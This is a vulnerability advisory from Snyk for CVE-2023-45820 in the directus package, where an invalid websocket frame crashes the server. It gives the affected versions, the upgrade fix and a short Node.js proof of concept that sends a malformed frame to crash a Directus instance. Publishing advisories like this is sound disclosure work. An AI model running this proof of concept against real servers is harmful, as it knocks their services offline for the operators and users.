Improper Handling of Exceptional Conditions Affecting directus package, versions >=10.4.1 <10.6.2


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-DIRECTUS-6016493
  • published20 Oct 2023
  • disclosed19 Oct 2023
  • creditNikke Leskelä

Introduced: 19 Oct 2023

CVE-2023-45820  (opens in a new tab)
CWE-755  (opens in a new tab)

How to fix?

Upgrade directus to version 10.6.2 or higher.

Overview

directus is a Directus is a real-time API and App dashboard for managing SQL database content.

Affected versions of this package are vulnerable to Improper Handling of Exceptional Conditions via the websocket server. An attacker can cause the server to crash and require a manual restart by sending an invalid frame. This is only exploitable if websockets are enabled.

PoC

const WebSocket = require("ws");
const websocket = new WebSocket("ws://0.0.0.0:8055/websocket");
websocket.on("open", function () {
  const chunk = Buffer.from("a180", "hex");
  websocket._socket.write(chunk);
});

CVSS Scores

version 3.1